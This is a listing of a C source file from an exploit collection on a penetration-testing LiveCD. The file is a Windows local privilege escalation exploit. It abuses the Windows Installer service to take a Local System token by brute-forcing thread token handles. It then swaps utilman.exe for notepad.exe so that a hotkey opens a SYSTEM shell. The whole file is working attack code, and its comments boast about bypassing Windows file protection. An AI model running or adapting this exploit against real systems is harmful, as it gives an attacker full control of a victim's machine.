home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / winToken.c < prev    next >
C/C++ Source or Header  |  2005-03-05  |  2KB  |  62 lines

  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1
  5. #define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4
  6. typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR szCommandLine);
  7.  
  8.  
  9. int main(int argc, char* argv[])
  10. {
  11. HANDLE hToken,hThread;
  12. HMODULE hMsi = 0;
  13. CHAR infoBuf[INFO_BUFFER_SIZE];
  14. DWORD bufCharCount = INFO_BUFFER_SIZE;
  15. CHAR file1[PATH_SIZE]="\\\\";
  16. CHAR file2[PATH_SIZE]="\\\\";
  17. CHAR file3[PATH_SIZE]="\\\\";
  18.  
  19. //Get name of the computer. 
  20. GetComputerName(infoBuf, &bufCharCount);
  21.  
  22. hThread=GetCurrentThread();
  23. hMsi = LoadLibrary("msi.dll");
  24.  
  25. //Invoke windows installer service in order to steal a Local System account identity token.
  26. //Curious? some internal LPC magic here, see *1*
  27. PFnMsiInstallProduct MsiInstallProduct = 0;
  28. MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA");
  29. MsiInstallProduct("","");
  30.  
  31. //Get Local System account identity token and set it to current thread
  32. hToken=(void*)0x1;
  33. while(SetThreadToken(&hThread,hToken)==NULL){
  34. hToken=(void*)((int)hToken+1);
  35. }
  36.  
  37. strcat(file1,infoBuf);
  38. strcat(file1,"\\C$\\winnt\\system32\\utilman.exe");
  39.  
  40. strcat(file2,infoBuf);
  41. strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe");
  42.  
  43. strcat(file3,infoBuf);
  44. strcat(file3,"\\C$\\winnt\\system32\\notepad.exe");
  45.  
  46. //Replace Utility Manager with Notepad impersonating Local System account
  47. //BTW: fuck Windows file protection :)
  48. if(!CopyFile(file1,file2, TRUE))
  49. printf("CopyFile() failed: %d\n", GetLastError());
  50. else
  51. if(!CopyFile(file3,file1, FALSE))
  52. printf("CopyFile() failed: %d\n", GetLastError());
  53. else {
  54. printf("\nPress WinKey+U to run Notepad as Local System\n");
  55. printf("Remember to restore original utilman.exe from utilmanback.exe\n");
  56. }
  57.  
  58. Sleep(5000);
  59. return 0;
  60. }
  61.  
  62.